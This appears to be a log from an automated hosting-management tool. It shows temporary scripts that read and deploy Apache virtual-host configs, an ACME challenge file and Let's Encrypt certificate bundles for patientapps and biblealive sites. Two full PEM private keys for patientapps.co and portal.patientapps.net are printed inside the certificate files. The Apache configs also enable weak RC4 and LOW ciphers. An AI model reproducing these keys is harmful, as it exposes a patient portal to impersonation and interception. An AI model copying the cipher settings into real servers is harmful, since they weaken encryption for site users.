    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
    DocumentRoot	/var/www/patientapps_www/public
    <Directory /var/www/patientapps_www/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-01-18 06:00:37: 

PUT: /tmp/pkp535956

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-18 06:00:37: 

chmod 755 /tmp/pkp535956; /tmp/pkp535956; rm /tmp/pkp535956

2026-01-18 06:00:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt	5368
2a:d5:25:8c:2c:a6:af:eb:e7:0c:3a:98:f9:fa:19:59

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBUB4GneMz3WGWkq/2diVUhEWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE4MDUwMjA1WhcNMjYwNDE4MDUwMjA0WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANEN3Vz8LEEyc0g2ykuqMiLL8Mnb7xcu2RfKSk+FXlrXhCB9IKNz/5+ePV6bDktv
zjTAIVRc6DNQdw3a/7TTu042gF/HwBbwgcC3khnMyt805mh5loyKy24gjS0oLdrl
5Tzchd4sKu7/8zDEYNzGDv9r+uOOu3LVTGM6SsvqSkIvSWmGnV7un18wUopZ5tzj
H1FgJVBS9vUw1rLlUmT7k6I9DpfbI//tDSr6dCg/vChFL0HEcNTZ2I1Q5qKDm/Pw
1V14Qgv0sANP5tIc4DAAlZMBfnFkCrjD7i5+GwK9bFD3EyGLs8H1f4rIXvXZn7Vq
iDYLpFlf7ejQs95tgZWDEzkCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUPD4Ww+nDid5mTFib1lD9TlZFPbswHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzIzLmNybDCCAQIGCisGAQQB1nkC
BAIEgfMEgfAA7gB1AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
m8+w5Q0AAAQDAEYwRAIgd30C2we0mF8cT0cOYYxbr6iB7XXRTsNl3UV6VeQIp8gC
IDMJ4d7Ro76N7UoPIprQszSUJ0edNZO7ZuK7Ryyb75rmAHUA0W6ppWgHfmY1oD83
pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGbz7Dl7wAABAMARjBEAiBSQi5R0gmpiWPc
k7s1DLP9cOSBBjq7/BEWHFvFbSYK+AIgJUkNUg0V7ay6pHBukHh4gCax8u8SB9Da
4YoL7yUTU80wDQYJKoZIhvcNAQELBQADggEBABCwn/zaIdGlwNizULfSPbZwadVs
L4xIgNON9V4qXa2ycnaqm/ycKNJPW08hvEtQ3wNh7Ytlc22FwP52D+8UDd8tnAo7
AQCFG7h4LMmZ6EoildhNW9G03TQK1R+cGD6PUnmdVAbDlkLX56JrhdAqLNKMSpT/
CNLiRKAo3WTM0qAENYM1t+EzXmpeOECvTvQbeADb2TL1cZ6031KpOxg6tJJn2akv
L1LgFrzJ4E/T6/bF8ndWt232frSNgihX2u8nlMCTFVeMZz42QhuwWes+H7ReOIBw
AxMBc4U3AvEcGRm5zz+AJ2tBl+8dDQLQ1pXrge2At/L7j8xQ81qMQZE8kmY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDRDd1c/CxBMnNI
NspLqjIiy/DJ2+8XLtkXykpPhV5a14QgfSCjc/+fnj1emw5Lb840wCFUXOgzUHcN
2v+007tONoBfx8AW8IHAt5IZzMrfNOZoeZaMistuII0tKC3a5eU83IXeLCru//Mw
xGDcxg7/a/rjjrty1UxjOkrL6kpCL0lphp1e7p9fMFKKWebc4x9RYCVQUvb1MNay
5VJk+5OiPQ6X2yP/7Q0q+nQoP7woRS9BxHDU2diNUOaig5vz8NVdeEIL9LADT+bS
HOAwAJWTAX5xZAq4w+4ufhsCvWxQ9xMhi7PB9X+KyF712Z+1aog2C6RZX+3o0LPe
bYGVgxM5AgMBAAECggEACu18W4K0BoFuXME+cFeYcNCzyL12IUJZ50A0A7WfQcTf
u3oG9XxYCZ4yK4qT4/YXc5LyexAzNBF586+1q5xgv10idz9AB4LxaWM/IBmgJixD
+gSXDcgoi5xofMqLoRRg1/5YAg3RfbZD3lH5lTjGKmxYzEHXAxDqwgoXRFL+KDjr
zPg0HsbbP/B3Is1bqLqwPrqr0jEe83BLNsEfMHVpBqmcBewnwt2GnEeXlETXA183
4AqJTRr4iqBmpa2RH/sLwqRqfhMJo+43SxzXuAWQbqrja5WYCo2odrDYoM3Rfm7O
N11X8cp5eMnKI3HYpfG/vJhyRbL7BJdx4vrBBN8ufQKBgQD6UhbKJ9TcRCDEE06E
8lCke8I8+wGHY0HMqGP7IE1cn2QS/vL6rJ0es8hbu5aipni8lLLwMfzT/cWCfuds
yaZMQfHQE9BnsrboLkHdgvDN08QSv8ENe4UZDn02UFEImgWlAJCp07H2KEvJVpn1
RgL9V/fo6lYUrRzHBnHVBOKfhQKBgQDVzBeCIvtYhXBceHb5qfsoP06xI1kVtHor
8gG1m0h0eDd7Owj0D7fEoeM/wrKIG4jWflUf49Z8n3dE0nU/NaMW0L8ZBltEMEBG
j16s5fIsM6R22V9QQFAmRbya92bIBLZ1Yihk9VAgnWixjYoM+traaJc560FRaM3W
utQf0uCBJQKBgFCahEoeH1W5/k8E5IC8wijkzPvz218sH/D1vBQOJ7sOfBv9ymHb
mVBclcSsF+pR7ojS3PepMP9WNPY7ROvr1sexaFsXNkFd87W5x227jyzH5tgetNxR
jN8vojQOErnRVsX1858r0p8wBI9VeofXPnkzjVmLs6I+yAhyU89DHnI9AoGANgQg
lGKeOllMcDCHbsDBkgOcsCiMI227yEqWn/mhrruI2PurYW5vMaDtN3jLfpPmWLsG
as43rLjle1/o+5VjpSoMfhgbCvld4/XpJ6nZK83Iaba13CLDnUfVRRnov/Rg3Pt1
1TwdiH/8qY9nJ6xhivkN7DZCBH2ENBJz8a5nxnkCgYEA9rGhvu0cIs3uRN8BGpp7
LCPp7ywCid0Z/3hCm4/JSJgAIubYZWV6gtbTAOe4BSoFgIL0SnWUYldFxIy3Igu0
WmlGI1gt8MITdBqLpPFk5GMBvTbItNKhRae+2ffJNlkeFzxbgx0tUGYycK0TKEHD
IVzzpWx5pVnG1zta7LPts2g=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-18 06:00:37: Establishing a connection
2026-01-18 06:00:37: Establishing a connection
2026-01-18 06:00:37: 

PUT: /tmp/pkp536516

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-18 06:00:38: 

chmod 755 /tmp/pkp536516; /tmp/pkp536516; rm /tmp/pkp536516

2026-01-18 06:00:38: 


1


2026-01-18 06:00:38: Establishing a connection
2026-01-18 06:00:38: 

PUT: /tmp/pkp903043

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > tm23XCFPh0QNwAOwkaCdAgpL8bl44EwTELVwfxPyA1E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tm23XCFPh0QNwAOwkaCdAgpL8bl44EwTELVwfxPyA1E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tm23XCFPh0QNwAOwkaCdAgpL8bl44EwTELVwfxPyA1E


2026-01-18 06:00:38: 

chmod 755 /tmp/pkp903043; /tmp/pkp903043; rm /tmp/pkp903043

2026-01-18 06:00:38: 




2026-01-18 06:00:40: Establishing a connection
2026-01-18 06:00:40: Establishing a connection
2026-01-18 06:00:40: 

PUT: /tmp/pkp319961

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-18 06:00:41: 

chmod 755 /tmp/pkp319961; /tmp/pkp319961; rm /tmp/pkp319961

2026-01-18 06:00:41: 


0


2026-01-18 06:01:06: Establishing a connection
2026-01-18 06:01:06: 

PUT: /tmp/pkp117643

#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt

cat > $temp_file <<'endmsg'
a2:4a:fc:6e:12:cf:e9:91:28:a8:14:cc:a0:fd:31:64

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBeK6o1gv6zvpOrXwu4lf5JoxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE4MDUwMjM1WhcNMjYwNDE4MDUwMjM0WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAmSCDAqSX9TaHQbsJA1wFrRnRomixKKGW5J2poSDgaHPSUe4UBobf
r3sR8ZBp4n0c4k3K4Rl1yXPwqwUzpnGve2+5CEChCMYT2CJkEQl0SkWRm2ZqRrB5
MGLfKiXarKwe4LAu+R0lw9pqiBvFG/vrN1U6py7pNaCKGXGsij25+lxo2oG4UVfw
Of4OQDb0NrMowFG+mSf2sdw0QLnh+GrDvlSHbfIkAK0P3B1zL9E7/egthKjPEIeO
F2xQiF41nux5ROF2kZRVPM/quAyvKsjCHTuG237QN7eesp4TqWpNoD5G9ngE+zdY
yQirMnJ0b6v7QOPxXyEL8aKiKAiOBHRFvQIDAQABo4ICOzCCAjcwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBTD55FHwdxigQSMXN1fPFqaCtYIqzAfBgNVHSMEGDAWgBQA
tSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NTAuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGbz7FbmAAABAMARjBEAiBDZ2PFb0GtAalqLv4B
Gy1D4zRFNakIysk9Aax7Rk+tzQIgOT8LI8DJpzs3XBlWqcxdLc+olNVO2OrYE0G0
PnW9SrcAdgAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZvPsVu1
AAAEAwBHMEUCICqmY/uR9iDveuKmLJOzhUGUPKHg9QCCiyV/qXs4/2oCAiEA0mtR
5YaERGeArXIEWePYIbO4UcAP36BmonruYsIm71MwDQYJKoZIhvcNAQELBQADggEB
ANauxh84Vwkm3Hns32bsWlPfVpU5/yjNEZ8XEc638vthl8bsThw6fI9nanhO5N1y
hcAElK9Nbj1VuewzwOIZ/yQaN9+cvNzJOaEJ6H5uej9B64gO+LA5bsqrX8bgcKU4
NAyWx5HVMoH/1xPiLpxiYO9xuL27+9MfryON0tdczMMaKN8Y3WerslFnlvaw1zGf
ZRQC9FbXovMD8ro4g7CCPi0ZYqpdjkKjLbYKkr/+K1RMbyf19iK/W00j3bcUi0Fx
R1a3qZlvoflyuwPOKJaThrK/wckuc/O3hW8IQqRmyRSsQzN7eFdTYbQmqR3htemZ
NdTtONjH30e9bXAF2HyPHu4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCZIIMCpJf1NodB
uwkDXAWtGdGiaLEooZbknamhIOBoc9JR7hQGht+vexHxkGnifRziTcrhGXXJc/Cr
BTOmca97b7kIQKEIxhPYImQRCXRKRZGbZmpGsHkwYt8qJdqsrB7gsC75HSXD2mqI
G8Ub++s3VTqnLuk1oIoZcayKPbn6XGjagbhRV/A5/g5ANvQ2syjAUb6ZJ/ax3DRA
ueH4asO+VIdt8iQArQ/cHXMv0Tv96C2EqM8Qh44XbFCIXjWe7HlE4XaRlFU8z+q4
DK8qyMIdO4bbftA3t56ynhOpak2gPkb2eAT7N1jJCKsycnRvq/tA4/FfIQvxoqIo
CI4EdEW9AgMBAAECggEAHj5dodgAa14puMHINfGm7Vl8HievVecUdnLtXfWwXPED
SUtMiT16UJ5uHNf5EdLEMa5Ls8njibZsglq0qNsrXaXjVc3uAF2e7cFdIkBLx5+V
8qt3sh6I0RW2Hgz7877LGnWx0WIAY35wLBHQDIblHjinLP4G8aCTphLdkTA/20K2
9vDep34dnAO8I9XNI5UVjBshvj6PmAvIJjZmqMcpjLc+NwPD6iHH0PYLQ3E48Yqs
fjnSyDGOUp0rhbpCzPrsN4BVwDHcMTFeZuBziyvSdf2/G0IvBEm4aT8Gi5GhRhOo
N5vgcfh/ULhDKZUCzhtsIAGtlo6P+q51skT+HwCUAQKBgQDK9OTusVEN8Gn4mTBZ
oKgYXWW5MWLeNraZvmImUunvUNheNKPAwX1/uB9ekC1a3tzHsGog1bfv+xnB32V5
QpHGxvDZwsy+0gjjM8x2wh88wS6zrlEH/fCN9GfyVvA2lLVJWfJkH9Oj0anxkpeW
wL1JkzWwe53fbyxVL868vCp2jQKBgQDBJbHg4FP+kRE7yr7AsJSI7TFdMLQM9WJb
LoPHr/0lCw504zICJCz+NR9hpbjV/b8ssaDBzyK2ZOBb+OqkzQ1N0OpWjC08fNzf
KmeRu0P9kihBHpjaIoEyix4VuIZ+XlhK6poJpCbsyzwoBolLvigVcozCJlt9Vd/7
8lGK9CQX8QKBgE+qc1aSeauMDDzN/OGho3n052IbVaC+P0z4I1TBxRvwUw4fgYu/
J8EDiCS5WWRLCMTFpdL/sTTdDs5AH3fKvqgVHSONSIs6rMxqX77aEiLp/agAK8SE
VHGUV10T7TSviL2jNfdBWvT57shpb2F4hJSl2TROQbkbzX4exvrkrZJdAoGBAJsh
yZMS2qPWpH7fwwJFUagAyutMmPDnjk4qOBIFGk/MZ5oeeSYbJEAxLrlhP+owWoJt
UO8ZjYntz/5PGTewsoTTzcQh5pt0tnpQNstoG53o7IgRKTfbCuYrsshDY1LQOB5D
++DOha0fN3v2dAPwAYXocYHnCQjMFpDn+fKfUPYhAoGATPftFbkMCTpRyienPGe3
nCyHzPKXOt0vsaa7Rtu8HsDh6oM4NxnbFXFFZozfFfigy0wHv5jg49dwtcENzFua
4mAuRt08vUB9ZZwZkdtybYHBSPI6VxcoM2Vpl0S+jCeAIyeQqWeMLVzEmLbvs4q4
ydjYO0Pwye1/1fpR5nN2vTE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-18 06:01:06: 

chmod 755 /tmp/pkp117643; /tmp/pkp117643; rm /tmp/pkp117643

2026-01-18 06:01:06: 


dir=/etc/ssl/certs


2026-01-18 06:01:06: 

PUT: /tmp/pkp243905

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-18 06:01:06: 

chmod 755 /tmp/pkp243905; /tmp/pkp243905; rm /tmp/pkp243905

2026-01-18 06:01:06: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-18 06:01:06: 

PUT: /tmp/pkp491307

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
